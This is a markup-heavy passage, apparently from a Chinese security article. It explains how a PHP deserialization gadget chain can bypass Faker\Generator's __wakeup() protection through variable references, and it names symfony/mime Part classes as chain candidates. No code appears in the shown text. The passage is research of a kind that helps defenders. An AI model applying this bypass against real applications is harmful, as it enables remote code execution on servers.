255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HOQU-1656920940250&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V3FG-1656920940247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;利用此特性可以在__wakeup()方法将&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;formatters&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34; 字段置空后再对其变量值进行“ 引用 ”。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">demo1变量值的变化同样会影响到demo2。</span></p><p><span style="font-size: 14px;">利用此特性可以在__wakeup()方法将</span><span style="font-size: 14px;"><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">formatters</span></span><span style="font-size: 14px;">字段置空后再对其变量值进行“ 引用 ”。</span></p><p><br/></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FMGz-1656922634926&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pH2e-1656922634922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;核心绕过逻辑：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w2vM-1656922696721&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aXyr-1656922696719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;1.找到一个类&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;$demo&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;，其中有一个赋值完全可控的属性&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;$xx&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;（最好使用&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;__wakeup()&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;或&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;__destruct()&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;进行赋值）。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wsmy-1656922883256&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JIm1-1656922883253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;2.将&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;Faker\\Generator &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;的 &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#404040&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;}]},{&#34;text&#34;:&#34;$this-&gt;formatters&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34; 与 &#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;$demo&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34; 的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34; $xx&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;通过reference特性指向同一值。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0aCv-1656923088334&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9oKx-1656923088331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;3.在&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;Faker\\Generator&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34; 的&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#404040&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;}]},{&#34;text&#34;:&#34;__wakeup()&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;方法执行后，&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#404040&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;}]},{&#34;text&#34;:&#34;__destrcut()&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;方法执行前，对&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#404040&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;}]},{&#34;text&#34;:&#34;$xx&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34;进行赋值。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#404040&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dYxP-1656923179993&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JxiI-1656923179974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration: none;"><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">核心绕过逻辑：</span></p><p><span style="font-size: 14px;">1.找到一个类</span><span style="font-size: 14px;"><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">$demo</span><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">，</span></span><span style="font-size: 14px;">其中有一个赋值完全可控的属性</span><span style="font-size: 14px;"><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">$xx</span></span><span style="font-size: 14px;">（最好使用</span><span style="font-size: 14px;"><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">__wakeup()</span><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">或</span><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">__destruct()</span></span><span style="font-size: 14px;">进行赋值）。</span></p><p><span style="font-size: 14px;">2.将</span><span style="font-size: 14px;"><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">Faker\Generator </span><span style="color: rgb(64, 64, 64);background-color: rgb(255, 255, 255);font-family: SimHei, STHeiti;">的 </span><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">$this-&gt;formatters</span> 与 <span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">$demo</span> 的<span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;"> $xx</span>通过reference特性指向同一值。</span></p><p><span style="font-size: 14px;">3.在<span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">Faker\Generator</span><span style="color: rgb(64, 64, 64);background-color: rgb(255, 255, 255);font-family: SimHei, STHeiti;"> </span></span><span style="font-size: 14px;">的</span><span style="font-size: 14px;"><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">__wakeup()</span></span><span style="font-size: 14px;">方法执行后，</span><span style="font-size: 14px;"><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">__destrcut()</span></span><span style="font-size: 14px;">方法执行前，对</span><span style="font-size: 14px;"><span style="color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">$xx</span></span><span style="font-size: 14px;">进行赋值。</span></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;font-size: 14px;"><br/></span></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wVzn-1656923217866&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4DIj-1656923217864&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;inhann师傅给出的三条链如下：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RUzy-1656923368574&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;1aJo-1656923377211&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nGRp-1656923368573&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Part/SMimePart.php&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MdVm-1656923370291&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;1aJo-1656923377211&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8seM-1656923370290&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Part/DataPart.php &#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AytV-1656923372512&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;1aJo-1656923377211&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8AQD-1656923372510&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Part/TextPart.php&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#808080&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:15},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimHei&#34;},{&#34;type&#34;:&#34;italic&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">inhann师傅给出的三条链如下：</span></p><ul yne-block-type="list" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;" class="list-paddingleft-1"><li style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">Part/SMimePart.php</span></p></li><li style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">Part/DataPart.php</span></p></li><li style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">Part/TextPart.php  </span></p></li></ul><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">查看<span style="font-size: 14px;color: rgb(221, 17, 68);background-color: rgba(0, 0, 0, 0.04);font-family: &#34;Courier New&#34;;">Part/TextPart.php</span></span><span style="font-size: 14px;">：</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><img class="rich_pages wxw-img" data-ratio="0.43966125617501767" style="font-size: 14px;white-space: pre-wrap;width: 761px;height: 335px;" data-type="png" data-w="2834" src="https://wechat2rss.xlab.app/img-proxy/?k=12d4f0ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr789yDVv0hmEzpqZiasLUdbQabA48NHK39ymdw46PQQSLMPD52NheNx5Ltic8nPZbFNkwKCoQmHOzlg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">这个类来自<span style="font-size: 14px;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(64, 64, 64);float: none;color: rgb(128, 128, 128);background-color: rgb(255, 255, 255);font-family: SimHei, STHeiti;font-style: italic;display: inline !important;"> </span><span style="font-size: 14px;color: rgb(128, 128, 128);background-color: rgb(255, 255, 255);font-family: SimHei, STHeiti;font-style: italic;"><a href="https://github.com/symfony/mime" target="_blank">https://github.com/symfony/mime</a><span style="font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(64, 64, 64);color: rgb(64, 64, 64);font-family: -apple-system, &#34;Helvetica Neue&#34;, Arial, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, STHeiti, &#34;Microsoft YaHei&#34;, &#34;Microsoft JhengHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;Source Han Sans CN&#34;, &#34;Noto Sans SC&#34;, &#34;Source Han Sans TC&#34;, &#34;Noto Sans CJK TC&#34;, &#34;WenQuanYi Micro Hei&#34;, SimSun, sans-serif;background-color: rgb(255, 255, 255);float: none;display: inline !important;"> ，其  </span><code style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;font-size: 14.399999618530273px;padding: 2px 4px;color: rgb(199, 37, 78);background-color: rgb(249, 242, 244);border-radius: 4px;">$headers</code><span style="font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(64, 64, 64);color: rgb(64, 64, 64);font-family: -apple-system, &#34;Helvetica Neue&#34;, Arial, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, STHeiti, &#34;Microsoft YaHei&#34;, &#34;Microsoft JhengHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;Source Han Sans CN&#34;, &#34;Noto Sans SC&#34;, &#34;Source Han Sans TC&#34;, &#34;Noto Sans CJK TC&#34;, &#34;WenQuanYi Micro Hei&#34;, SimSun, sans-serif;background-color: rgb(255, 255, 255);float: none;display: inline !important;"> 属性继承自其父类 </span><code style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;font-size: 14.399999618530273px;padding: 2px 4px;color: rgb(199, 37, 78);background-color: rgb(249, 242, 244);border-radius: 4px;">AbstractPart</code><span style="font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(64, 64, 64);color: rgb(64, 64, 64);font-family: -apple-system, &#34;Helvetica Neue&#34;, Arial, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, STHeiti, &#34;Microsoft YaHei&#34;, &#34;Microsoft JhengHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;Source Han Sans CN&#34;, &#34;Noto Sans SC&#34;, &#34;Source Han Sans TC&#34;, &#34;Noto Sans CJK TC&#34;, &#34;WenQuanYi Micro Hei&#34;, SimSun, sans-serif;background-color: rgb(255, 255, 255);float: none;display: inline !important;">，</span><code style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;font-size: 14.399999618530273px;padding: 2px 4px;color: rgb(199, 37, 78);background-color: rgb(249, 242, 244);border-radius: 4px;">__wakeup()</code><span style="font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(64, 64, 64);color: rgb(64, 64, 64);font-family: -apple-system, &#34;Helvetica Neue&#34;, Arial, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, STHeiti, &#34;Microsoft YaHei&#34;, &#34;Microsoft JhengHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;Source Han Sans CN&#34;, &#34;Noto Sans SC&#34;, &#34;Source Han Sans 